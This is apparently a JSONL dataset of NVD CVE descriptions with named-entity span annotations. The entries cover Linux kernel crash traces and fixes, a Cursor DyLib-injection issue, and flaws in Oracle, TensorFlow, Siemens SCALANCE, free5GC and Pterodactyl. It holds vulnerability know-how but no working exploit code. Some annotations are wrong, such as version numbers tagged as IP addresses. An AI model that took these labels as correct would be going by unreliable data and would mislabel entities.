ovl_create_real+0x280/0x490 fs/overlayfs/dir.c:193\n ovl_workdir_create+0x425/0x600 fs/overlayfs/super.c:788\n ovl_make_workdir+0xed/0x1140 fs/overlayfs/super.c:1355\n ovl_get_workdir fs/overlayfs/super.c:1492 [inline]\n ovl_fill_super+0x39ee/0x5370 fs/overlayfs/super.c:2035\n mount_nodev+0x52/0xe0 fs/super.c:1413\n legacy_get_tree+0xea/0x180 fs/fs_context.c:592\n vfs_get_tree+0x86/0x270 fs/super.c:1497\n do_new_mount fs/namespace.c:2903 [inline]\n path_mount+0x196f/0x2be0 fs/namespace.c:3233\n do_mount fs/namespace.c:3246 [inline]\n __do_sys_mount fs/namespace.c:3454 [inline]\n __se_sys_mount+0x2f9/0x3b0 fs/namespace.c:3431\n do_syscall_64+0x2d/0x70 arch/x86/entry/common.c:46\n entry_SYSCALL_64_after_hwframe+0x44/0xae\nRIP: 0033:0x4665f9\nCode: ff ff c3 66 2e 0f 1f 84 \n---truncated---", "spans": {"URL: https://syzkaller.appspot.com/bug?extid=123aa35098fd3c000eb7": [[340, 400]], "DOMAIN: git.kernel.org": [[211, 225], [258, 272]], "FILEPATH: /ipv6/route.c": [[578, 591], [679, 692], [1135, 1148], [1203, 1216], [1253, 1266]], "FILEPATH: /kasan/report.c": [[990, 1005], [1028, 1043], [1085, 1100]], "FILEPATH: /ipv6/ip6_fib.c": [[1309, 1324]], "FILEPATH: /rcu/tree.c": [[1349, 1360], [1404, 1415]], "FILEPATH: /x86/kernel/apic/apic.c": [[1650, 1673]], "FILEPATH: /x86/include/asm/idtentry.h": [[1734, 1761]], "FILEPATH: /locking/lockdep.c": [[1807, 1825]], "FILEPATH: /linux/rcupdate.h": [[2440, 2457], [2484, 2501]], "FILEPATH: /ext4/ext4.h": [[2549, 2561]], "FILEPATH: /ext4/mballoc.c": [[2599, 2614], [2662, 2677], [2718, 2733]], "FILEPATH: /ext4/extents.c": [[2776, 2791]], "FILEPATH: /ext4/inode.c": [[2829, 2842], [2874, 2887], [2917, 2930]], "FILEPATH: /ext4/namei.c": [[2962, 2975], [3012, 3025], [3057, 3070]], "FILEPATH: /overlayfs/overlayfs.h": [[3131, 3153]], "FILEPATH: /overlayfs/dir.c": [[3196, 3212], [3248, 3264]], "FILEPATH: /overlayfs/super.c": [[3303, 3321], [3358, 3376], [3401, 3419], [3466, 3484]], "FILEPATH: /x86/entry/common.c": [[3868, 3887]], "FILEPATH: dump_stack.c": [[880, 892], [933, 945]], "FILEPATH: softirq.c": [[1454, 1463], [1491, 1500], [1549, 1558], [1593, 1602]], "FILEPATH: namei.c": [[3102, 3109]], "FILEPATH: super.c": [[3516, 3523], [3605, 3612]], "FILEPATH: fs_context.c": [[3560, 3572]], "FILEPATH: namespace.c": [[3635, 3646], [3690, 3701], [3720, 3731], [3765, 3776], [3822, 3833]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Debian": [[417, 423]], "VULNERABILITY: out-of-bounds Read": [[91, 109]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47126"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwatch_queue: Fix NULL dereference in error cleanup\n\nIn watch_queue_set_size(), the error cleanup code doesn't take account of\nthe fact that __free_page() can't handle a NULL pointer when trying to free\nup buffer pages that did get allocated.\n\nFix this by only calling __free_page() on the pages actually allocated.\n\nWithout the fix, this can lead to something like the following:\n\nBUG: KASAN: null-ptr-deref in __free_pages+0x1f/0x1b0 mm/page_alloc.c:5473\nRead of size 4 at addr 0000000000000034 by task syz-executor168/3599\n...\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0xcd/0x134 lib/dump_stack.c:106\n __kasan_report mm/kasan/report.c:446 [inline]\n kasan_report.cold+0x66/0xdf mm/kasan/report.c:459\n check_region_inline mm/kasan/generic.c:183 [inline]\n kasan_check_range+0x13d/0x180 mm/kasan/generic.c:189\n instrument_atomic_read include/linux/instrumented.h:71 [inline]\n atomic_read include/linux/atomic/atomic-instrumented.h:27 [inline]\n page_ref_count include/linux/page_ref.h:67 [inline]\n put_page_testzero include/linux/mm.h:717 [inline]\n __free_pages+0x1f/0x1b0 mm/page_alloc.c:5473\n watch_queue_set_size+0x499/0x630 kernel/watch_queue.c:275\n pipe_ioctl+0xac/0x2b0 fs/pipe.c:632\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:874 [inline]\n __se_sys_ioctl fs/ioctl.c:860 [inline]\n __x64_sys_ioctl+0x193/0x200 fs/ioctl.c:860\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x35/0xb0 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x44/0xae", "spans": {"FILEPATH: /kasan/report.c": [[727, 742], [787, 802]], "FILEPATH: /kasan/generic.c": [[830, 846], [893, 909]], "FILEPATH: /linux/instrumented.h": [[945, 966]], "FILEPATH: /linux/atomic/atomic-instrumented.h": [[999, 1034]], "FILEPATH: /linux/page_ref.h": [[1070, 1087]], "FILEPATH: /linux/mm.h": [[1126, 1137]], "FILEPATH: /x86/entry/common.c": [[1471, 1490], [1532, 1551]], "FILEPATH: page_alloc.c": [[507, 519], [1179, 1191]], "FILEPATH: dump_stack.c": [[636, 648], [692, 704]], "FILEPATH: watch_queue.c": [[1238, 1251]], "FILEPATH: pipe.c": [[1282, 1288]], "FILEPATH: ioctl.c": [[1307, 1314], [1346, 1353], [1386, 1393], [1439, 1446]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49257"}}
{"text": "Cursor is an artificial intelligence code editor. Prior to version 0.41.0, if a user on macOS has granted Cursor access to the camera or microphone, any program that is run on the machine is able to access the camera or the microphone without explicitly being granted access, through a DyLib Injection using DYLD_INSERT_LIBRARIES environment variable. The usage of `com.apple.security.cs.allow-dyld-environment-variables` and `com.apple.security.cs.disable-library-validation` allows an external dynamic library to be injected into the application using DYLD_INSERT_LIBRARIES environment variable. \nMoreover, the entitlement `com.apple.security.device.camera` allows the application to use the host camera and `com.apple.security.device.audio-input` allows the application to use the microphone. This means that untrusted code that is executed on the user's machine can access the camera or the microphone, if the user has already given permission for Cursor to do so. In version 0.41.0, the entitlements have been split by process: the main process gets the camera and microphone entitlements, but not the DyLib entitlements, whereas the extension host process gets the DyLib entitlements but not the camera or microphone entitlements. As a workaround, do not explicitly give Cursor the permission to access the camera or microphone if untrusted users can run arbitrary commands on the affected machine.", "spans": {"SYSTEM: macOS": [[88, 93]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-45599"}}
{"text": "Vulnerability in the BI Publisher product of Oracle Fusion Middleware (component: BI Publisher Security). Supported versions that are affected are 5.5.0.0.0, 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise BI Publisher. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all BI Publisher accessible data as well as unauthorized update, insert or delete access to some of BI Publisher accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N).", "spans": {"IP_ADDRESS: 5.5.0.0": [[147, 154]], "IP_ADDRESS: 11.1.1.9": [[158, 166]], "IP_ADDRESS: 12.2.1.3": [[170, 178]], "IP_ADDRESS: 12.2.1.4": [[185, 193]], "ORGANIZATION: Oracle": [[45, 51]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14780"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can cause a denial of service in `boosted_trees_create_quantile_stream_resource` by using negative arguments. The [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/quantile_ops.cc#L96) does not validate that `num_streams` only contains non-negative numbers. In turn, [this results in using this value to allocate memory](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/quantiles/quantile_stream_resource.h#L31-L40). However, `reserve` receives an unsigned integer so there is an implicit conversion from a negative value to a large positive unsigned. This results in a crash from the standard library. We have patched the issue in GitHub commit 8a84f7a2b5a2b27ecf88d25bad9ac777cd2f7992. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/quantile_ops.cc#L96": [[235, 379]], "URL: https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/quantiles/quantile_stream_resource.h#L31-L40": [[517, 686]], "HASH: 8a84f7a2b5a2b27ecf88d25bad9ac777cd2f7992": [[918, 958]], "ORGANIZATION: GitHub": [[904, 910]], "VULNERABILITY: denial of service": [[116, 133]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37661"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: fix double free issue during amdgpu module unload\n\nFlexible endpoints use DIGs from available inflexible endpoints,\nso only the encoders of inflexible links need to be freed.\nOtherwise, a double free issue may occur when unloading the\namdgpu module.\n\n[  279.190523] RIP: 0010:__slab_free+0x152/0x2f0\n[  279.190577] Call Trace:\n[  279.190580]  <TASK>\n[  279.190582]  ? show_regs+0x69/0x80\n[  279.190590]  ? die+0x3b/0x90\n[  279.190595]  ? do_trap+0xc8/0xe0\n[  279.190601]  ? do_error_trap+0x73/0xa0\n[  279.190605]  ? __slab_free+0x152/0x2f0\n[  279.190609]  ? exc_invalid_op+0x56/0x70\n[  279.190616]  ? __slab_free+0x152/0x2f0\n[  279.190642]  ? asm_exc_invalid_op+0x1f/0x30\n[  279.190648]  ? dcn10_link_encoder_destroy+0x19/0x30 [amdgpu]\n[  279.191096]  ? __slab_free+0x152/0x2f0\n[  279.191102]  ? dcn10_link_encoder_destroy+0x19/0x30 [amdgpu]\n[  279.191469]  kfree+0x260/0x2b0\n[  279.191474]  dcn10_link_encoder_destroy+0x19/0x30 [amdgpu]\n[  279.191821]  link_destroy+0xd7/0x130 [amdgpu]\n[  279.192248]  dc_destruct+0x90/0x270 [amdgpu]\n[  279.192666]  dc_destroy+0x19/0x40 [amdgpu]\n[  279.193020]  amdgpu_dm_fini+0x16e/0x200 [amdgpu]\n[  279.193432]  dm_hw_fini+0x26/0x40 [amdgpu]\n[  279.193795]  amdgpu_device_fini_hw+0x24c/0x400 [amdgpu]\n[  279.194108]  amdgpu_driver_unload_kms+0x4f/0x70 [amdgpu]\n[  279.194436]  amdgpu_pci_remove+0x40/0x80 [amdgpu]\n[  279.194632]  pci_device_remove+0x3a/0xa0\n[  279.194638]  device_remove+0x40/0x70\n[  279.194642]  device_release_driver_internal+0x1ad/0x210\n[  279.194647]  driver_detach+0x4e/0xa0\n[  279.194650]  bus_remove_driver+0x6f/0xf0\n[  279.194653]  driver_unregister+0x33/0x60\n[  279.194657]  pci_unregister_driver+0x44/0x90\n[  279.194662]  amdgpu_exit+0x19/0x1f0 [amdgpu]\n[  279.194939]  __do_sys_delete_module.isra.0+0x198/0x2f0\n[  279.194946]  __x64_sys_delete_module+0x16/0x20\n[  279.194950]  do_syscall_64+0x58/0x120\n[  279.194954]  entry_SYSCALL_64_after_hwframe+0x6e/0x76\n[  279.194980]  </TASK>", "spans": {"FILEPATH: /amd/display": [[72, 84]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: double free": [[90, 101], [274, 285]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-49989"}}
{"text": "Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is Prior to 6.1.24. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox as well as unauthorized update, insert or delete access to some of Oracle VM VirtualBox accessible data and unauthorized read access to a subset of Oracle VM VirtualBox accessible data. Note: This vulnerability applies to Solaris x86 and Linux systems only. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:H).", "spans": {"SYSTEM: VirtualBox": [[31, 41], [267, 277], [311, 321], [363, 373], [580, 590], [668, 678], [749, 759]], "SYSTEM: Linux": [[829, 834]], "ORGANIZATION: Oracle": [[21, 27], [53, 59], [257, 263], [301, 307], [353, 359], [570, 576], [658, 664], [739, 745]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2443"}}
{"text": "A vulnerability has been identified in RUGGEDCOM RM1224 LTE(4G) EU (6GK6108-4AM00-2BA2) (All versions < V8.1), RUGGEDCOM RM1224 LTE(4G) NAM (6GK6108-4AM00-2DA2) (All versions < V8.1), SCALANCE M804PB (6GK5804-0AP00-2AA2) (All versions < V8.1), SCALANCE M812-1 ADSL-Router family (All versions < V8.1), SCALANCE M816-1 ADSL-Router family (All versions < V8.1), SCALANCE M826-2 SHDSL-Router (6GK5826-2AB00-2AB2) (All versions < V8.1), SCALANCE M874-2 (6GK5874-2AA00-2AA2) (All versions < V8.1), SCALANCE M874-3 (6GK5874-3AA00-2AA2) (All versions < V8.1), SCALANCE M874-3 3G-Router (CN) (6GK5874-3AA00-2FA2) (All versions < V8.1), SCALANCE M876-3 (6GK5876-3AA02-2BA2) (All versions < V8.1), SCALANCE M876-3 (ROK) (6GK5876-3AA02-2EA2) (All versions < V8.1), SCALANCE M876-4 (6GK5876-4AA10-2BA2) (All versions < V8.1), SCALANCE M876-4 (EU) (6GK5876-4AA00-2BA2) (All versions < V8.1), SCALANCE M876-4 (NAM) (6GK5876-4AA00-2DA2) (All versions < V8.1), SCALANCE MUM853-1 (A1) (6GK5853-2EA10-2AA1) (All versions < V8.1), SCALANCE MUM853-1 (B1) (6GK5853-2EA10-2BA1) (All versions < V8.1), SCALANCE MUM853-1 (EU) (6GK5853-2EA00-2DA1) (All versions < V8.1), SCALANCE MUM856-1 (A1) (6GK5856-2EA10-3AA1) (All versions < V8.1), SCALANCE MUM856-1 (B1) (6GK5856-2EA10-3BA1) (All versions < V8.1), SCALANCE MUM856-1 (CN) (6GK5856-2EA00-3FA1) (All versions < V8.1), SCALANCE MUM856-1 (EU) (6GK5856-2EA00-3DA1) (All versions < V8.1), SCALANCE MUM856-1 (RoW) (6GK5856-2EA00-3AA1) (All versions < V8.1), SCALANCE S615 EEC LAN-Router (6GK5615-0AA01-2AA2) (All versions < V8.1), SCALANCE S615 LAN-Router (6GK5615-0AA00-2AA2) (All versions < V8.1). Affected devices do not properly validate input in specific VPN configuration fields. This could allow an authenticated remote attacker to execute arbitrary code on the device.", "spans": {"SYSTEM: V8": [[104, 106], [177, 179], [237, 239], [295, 297], [353, 355], [426, 428], [486, 488], [546, 548], [621, 623], [681, 683], [747, 749], [807, 809], [872, 874], [938, 940], [1005, 1007], [1072, 1074], [1139, 1141], [1206, 1208], [1273, 1275], [1340, 1342], [1407, 1409], [1475, 1477], [1548, 1550], [1617, 1619]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-41976"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: ccp - Always pass in an error pointer to __sev_platform_shutdown_locked()\n\nWhen\n\n  9770b428b1a2 (\"crypto: ccp - Move dev_info/err messages for SEV/SNP init and shutdown\")\n\nmoved the error messages dumping so that they don't need to be issued by\nthe callers, it missed the case where __sev_firmware_shutdown() calls\n__sev_platform_shutdown_locked() with a NULL argument which leads to\na NULL ptr deref on the shutdown path, during suspend to disk:\n\n  #PF: supervisor read access in kernel mode\n  #PF: error_code(0x0000) - not-present page\n  PGD 0 P4D 0\n  Oops: Oops: 0000 [#1] SMP NOPTI\n  CPU: 0 UID: 0 PID: 983 Comm: hib.sh Not tainted 6.17.0-rc4+ #1 PREEMPT(voluntary)\n  Hardware name: Supermicro Super Server/H12SSL-i, BIOS 2.5 09/08/2022\n  RIP: 0010:__sev_platform_shutdown_locked.cold+0x0/0x21 [ccp]\n\nThat rIP is:\n\n  00000000000006fd <__sev_platform_shutdown_locked.cold>:\n   6fd:   8b 13                   mov    (%rbx),%edx\n   6ff:   48 8b 7d 00             mov    0x0(%rbp),%rdi\n   703:   89 c1                   mov    %eax,%ecx\n\n  Code: 74 05 31 ff 41 89 3f 49 8b 3e 89 ea 48 c7 c6 a0 8e 54 a0 41 bf 92 ff ff ff e8 e5 2e 09 e1 c6 05 2a d4 38 00 01 e9 26 af ff ff <8b> 13 48 8b 7d 00 89 c1 48 c7 c6 18 90 54 a0 89 44 24 04 e8 c1 2e\n  RSP: 0018:ffffc90005467d00 EFLAGS: 00010282\n  RAX: 00000000ffffff92 RBX: 0000000000000000 RCX: 0000000000000000\n  \t\t\t     ^^^^^^^^^^^^^^^^\nand %rbx is nice and clean.\n\n  Call Trace:\n   <TASK>\n   __sev_firmware_shutdown.isra.0\n   sev_dev_destroy\n   psp_dev_destroy\n   sp_destroy\n   pci_device_shutdown\n   device_shutdown\n   kernel_power_off\n   hibernate.cold\n   state_store\n   kernfs_fop_write_iter\n   vfs_write\n   ksys_write\n   do_syscall_64\n   entry_SYSCALL_64_after_hwframe\n\nPass in a pointer to the function-local error var in the caller.\n\nWith that addressed, suspending the ccp shows the error properly at\nleast:\n\n  ccp 0000:47:00.1: sev command 0x2 timed out, disabling PSP\n  ccp 0000:47:00.1: SEV: failed to SHUTDOWN error 0x0, rc -110\n  SEV-SNP: Leaking PFN range 0x146800-0x146a00\n  SEV-SNP: PFN 0x146800 unassigned, dumping non-zero entries in 2M PFN region: [0x146800 - 0x146a00]\n  ...\n  ccp 0000:47:00.1: SEV-SNP firmware shutdown failed, rc -16, error 0x0\n  ACPI: PM: Preparing to enter system sleep state S5\n  kvm: exiting hardware virtualization\n  reboot: Power down\n\nBtw, this driver is crying to be cleaned up to pass in a proper I/O\nstruct which can be used to store information between the different\nfunctions, otherwise stuff like that will happen in the future again.", "spans": {"FILEPATH: /08/2022": [[809, 817]], "FILEPATH: hib.sh": [[694, 700]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39936"}}
{"text": "free5GC is an open source 5G core network. free5GC NRF prior to version 1.4.2 has an Improper Input Validation vulnerability leading to Denial of Service. All deployments of free5GC using the NRF discovery service are affected. The `EncodeGroupId` function attempts to access array indices [0], [1], [2] without validating the length of the split data. When the parameter contains insufficient separator characters, the code panics with \"index out of range\". A remote attacker can cause the NRF service to panic and crash by sending a crafted HTTP GET request with a malformed `group-id-list` parameter. This results in complete denial of service for the NRF discovery service. free5GC NRF version 1.4.2 fixes the issue. There is no direct workaround at the application level. The recommendation is to apply the provided patch or restrict access to the NRF API to trusted sources only.", "spans": {"VULNERABILITY: Improper Input Validation": [[85, 110]], "VULNERABILITY: Denial of Service": [[136, 153]], "VULNERABILITY: denial of service": [[629, 646]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33062"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nblock: fix deadlock between sd_remove & sd_release\n\nOur test report the following hung task:\n\n[ 2538.459400] INFO: task \"kworker/0:0\":7 blocked for more than 188 seconds.\n[ 2538.459427] Call trace:\n[ 2538.459430]  __switch_to+0x174/0x338\n[ 2538.459436]  __schedule+0x628/0x9c4\n[ 2538.459442]  schedule+0x7c/0xe8\n[ 2538.459447]  schedule_preempt_disabled+0x24/0x40\n[ 2538.459453]  __mutex_lock+0x3ec/0xf04\n[ 2538.459456]  __mutex_lock_slowpath+0x14/0x24\n[ 2538.459459]  mutex_lock+0x30/0xd8\n[ 2538.459462]  del_gendisk+0xdc/0x350\n[ 2538.459466]  sd_remove+0x30/0x60\n[ 2538.459470]  device_release_driver_internal+0x1c4/0x2c4\n[ 2538.459474]  device_release_driver+0x18/0x28\n[ 2538.459478]  bus_remove_device+0x15c/0x174\n[ 2538.459483]  device_del+0x1d0/0x358\n[ 2538.459488]  __scsi_remove_device+0xa8/0x198\n[ 2538.459493]  scsi_forget_host+0x50/0x70\n[ 2538.459497]  scsi_remove_host+0x80/0x180\n[ 2538.459502]  usb_stor_disconnect+0x68/0xf4\n[ 2538.459506]  usb_unbind_interface+0xd4/0x280\n[ 2538.459510]  device_release_driver_internal+0x1c4/0x2c4\n[ 2538.459514]  device_release_driver+0x18/0x28\n[ 2538.459518]  bus_remove_device+0x15c/0x174\n[ 2538.459523]  device_del+0x1d0/0x358\n[ 2538.459528]  usb_disable_device+0x84/0x194\n[ 2538.459532]  usb_disconnect+0xec/0x300\n[ 2538.459537]  hub_event+0xb80/0x1870\n[ 2538.459541]  process_scheduled_works+0x248/0x4dc\n[ 2538.459545]  worker_thread+0x244/0x334\n[ 2538.459549]  kthread+0x114/0x1bc\n\n[ 2538.461001] INFO: task \"fsck.\":15415 blocked for more than 188 seconds.\n[ 2538.461014] Call trace:\n[ 2538.461016]  __switch_to+0x174/0x338\n[ 2538.461021]  __schedule+0x628/0x9c4\n[ 2538.461025]  schedule+0x7c/0xe8\n[ 2538.461030]  blk_queue_enter+0xc4/0x160\n[ 2538.461034]  blk_mq_alloc_request+0x120/0x1d4\n[ 2538.461037]  scsi_execute_cmd+0x7c/0x23c\n[ 2538.461040]  ioctl_internal_command+0x5c/0x164\n[ 2538.461046]  scsi_set_medium_removal+0x5c/0xb0\n[ 2538.461051]  sd_release+0x50/0x94\n[ 2538.461054]  blkdev_put+0x190/0x28c\n[ 2538.461058]  blkdev_release+0x28/0x40\n[ 2538.461063]  __fput+0xf8/0x2a8\n[ 2538.461066]  __fput_sync+0x28/0x5c\n[ 2538.461070]  __arm64_sys_close+0x84/0xe8\n[ 2538.461073]  invoke_syscall+0x58/0x114\n[ 2538.461078]  el0_svc_common+0xac/0xe0\n[ 2538.461082]  do_el0_svc+0x1c/0x28\n[ 2538.461087]  el0_svc+0x38/0x68\n[ 2538.461090]  el0t_64_sync_handler+0x68/0xbc\n[ 2538.461093]  el0t_64_sync+0x1a8/0x1ac\n\n  T1:\t\t\t\tT2:\n  sd_remove\n  del_gendisk\n  __blk_mark_disk_dead\n  blk_freeze_queue_start\n  ++q->mq_freeze_depth\n  \t\t\t\tbdev_release\n \t\t\t\tmutex_lock(&disk->open_mutex)\n  \t\t\t\tsd_release\n \t\t\t\tscsi_execute_cmd\n \t\t\t\tblk_queue_enter\n \t\t\t\twait_event(!q->mq_freeze_depth)\n  mutex_lock(&disk->open_mutex)\n\nSCSI does not set GD_OWNS_QUEUE, so QUEUE_FLAG_DYING is not set in\nthis scenario. This is a classic ABBA deadlock. To fix the deadlock,\nmake sure we don't try to acquire disk->open_mutex after freezing\nthe queue.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-42294"}}
{"text": "Pterodactyl is a free, open-source game server management panel. Pterodactyl implements rate limits that are applied to the total number of resources (e.g. databases, port allocations, or backups) that can exist for an individual server. These resource limits are applied on a per-server basis, and validated during the request cycle. However, in versions prior to 1.12.0, it is possible for a malicious user to send a massive volume of requests at the same time that would create more resources than the server is allotted. This is because the validation occurs early in the request cycle and does not lock the target resource while it is processing. As a result sending a large volume of requests at the same time would lead all of those requests to validate as not using any of the target resources, and then all creating the resources at the same time. As a result a server would be able to create more databases, allocations, or backups than configured. A malicious user is able to deny resources to other users on the system, and may be able to excessively consume the limited allocations for a node, or fill up backup space faster than is allowed by the system. Version 1.12.0 fixes the issue.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-69198"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: f_fs: Clear ffs_eventfd in ffs_data_clear.\n\nffs_data_clear is indirectly called from both ffs_fs_kill_sb and\nffs_ep0_release, so it ends up being called twice when userland closes ep0\nand then unmounts f_fs.\nIf userland provided an eventfd along with function's USB descriptors, it\nends up calling eventfd_ctx_put as many times, causing a refcount\nunderflow.\nNULL-ify ffs_eventfd to prevent these extraneous eventfd_ctx_put calls.\n\nAlso, set epfiles to NULL right after de-allocating it, for readability.\n\nFor completeness, ffs_data_clear actually ends up being called thrice, the\nlast call being before the whole ffs structure gets freed, so when this\nspecific sequence happens there is a second underflow happening (but not\nbeing reported):\n\n/sys/kernel/debug/tracing# modprobe usb_f_fs\n/sys/kernel/debug/tracing# echo ffs_data_clear > set_ftrace_filter\n/sys/kernel/debug/tracing# echo function > current_tracer\n/sys/kernel/debug/tracing# echo 1 > tracing_on\n(setup gadget, run and kill function userland process, teardown gadget)\n/sys/kernel/debug/tracing# echo 0 > tracing_on\n/sys/kernel/debug/tracing# cat trace\n smartcard-openp-436     [000] .....  1946.208786: ffs_data_clear <-ffs_data_closed\n smartcard-openp-431     [000] .....  1946.279147: ffs_data_clear <-ffs_data_closed\n smartcard-openp-431     [000] .n...  1946.905512: ffs_data_clear <-ffs_data_put\n\nWarning output corresponding to above trace:\n[ 1946.284139] WARNING: CPU: 0 PID: 431 at lib/refcount.c:28 refcount_warn_saturate+0x110/0x15c\n[ 1946.293094] refcount_t: underflow; use-after-free.\n[ 1946.298164] Modules linked in: usb_f_ncm(E) u_ether(E) usb_f_fs(E) hci_uart(E) btqca(E) btrtl(E) btbcm(E) btintel(E) bluetooth(E) nls_ascii(E) nls_cp437(E) vfat(E) fat(E) bcm2835_v4l2(CE) bcm2835_mmal_vchiq(CE) videobuf2_vmalloc(E) videobuf2_memops(E) sha512_generic(E) videobuf2_v4l2(E) sha512_arm(E) videobuf2_common(E) videodev(E) cpufreq_dt(E) snd_bcm2835(CE) brcmfmac(E) mc(E) vc4(E) ctr(E) brcmutil(E) snd_soc_core(E) snd_pcm_dmaengine(E) drbg(E) snd_pcm(E) snd_timer(E) snd(E) soundcore(E) drm_kms_helper(E) cec(E) ansi_cprng(E) rc_core(E) syscopyarea(E) raspberrypi_cpufreq(E) sysfillrect(E) sysimgblt(E) cfg80211(E) max17040_battery(OE) raspberrypi_hwmon(E) fb_sys_fops(E) regmap_i2c(E) ecdh_generic(E) rfkill(E) ecc(E) bcm2835_rng(E) rng_core(E) vchiq(CE) leds_gpio(E) libcomposite(E) fuse(E) configfs(E) ip_tables(E) x_tables(E) autofs4(E) ext4(E) crc16(E) mbcache(E) jbd2(E) crc32c_generic(E) sdhci_iproc(E) sdhci_pltfm(E) sdhci(E)\n[ 1946.399633] CPU: 0 PID: 431 Comm: smartcard-openp Tainted: G         C OE     5.15.0-1-rpi #1  Debian 5.15.3-1\n[ 1946.417950] Hardware name: BCM2835\n[ 1946.425442] Backtrace:\n[ 1946.432048] [<c08d60a0>] (dump_backtrace) from [<c08d62ec>] (show_stack+0x20/0x24)\n[ 1946.448226]  r7:00000009 r6:0000001c r5:c04a948c r4:c0a64e2c\n[ 1946.458412] [<c08d62cc>] (show_stack) from [<c08d9ae0>] (dump_stack+0x28/0x30)\n[ 1946.470380] [<c08d9ab8>] (dump_stack) from [<c0123500>] (__warn+0xe8/0x154)\n[ 1946.482067]  r5:c04a948c r4:c0a71dc8\n[ 1946.490184] [<c0123418>] (__warn) from [<c08d6948>] (warn_slowpath_fmt+0xa0/0xe4)\n[ 1946.506758]  r7:00000009 r6:0000001c r5:c0a71dc8 r4:c0a71e04\n[ 1946.517070] [<c08d68ac>] (warn_slowpath_fmt) from [<c04a948c>] (refcount_warn_saturate+0x110/0x15c)\n[ 1946.535309]  r8:c0100224 r7:c0dfcb84 r6:ffffffff r5:c3b84c00 r4:c24a17c0\n[ 1946.546708] [<c04a937c>] (refcount_warn_saturate) from [<c0380134>] (eventfd_ctx_put+0x48/0x74)\n[ 1946.564476] [<c03800ec>] (eventfd_ctx_put) from [<bf5464e8>] (ffs_data_clear+0xd0/0x118 [usb_f_fs])\n[ 1946.582664]  r5:c3b84c00 r4:c2695b00\n[ 1946.590668] [<bf546418>] (ffs_data_clear [usb_f_fs]) from [<bf547cc0>] (ffs_data_closed+0x9c/0x150 [usb_f_fs])\n[ 1946.609608]  r5:bf54d014 r4:c2695b00\n[ 1946.617522] [<bf547c24>] (ffs_data_closed [usb_f_fs]) from [<bf547da0>] (ffs_fs_kill_sb+0x2c/0x30 [usb_f_fs])\n[ 1946.636217]  r7:c0dfcb\n---truncated---", "spans": {"FILEPATH: /sys/kernel/debug/tracing": [[826, 851], [871, 896], [938, 963], [996, 1021], [1115, 1140], [1162, 1187]], "FILEPATH: refcount.c": [[1541, 1551]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Debian": [[2689, 2695]], "VULNERABILITY: use-after-free": [[1628, 1642]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-46933"}}
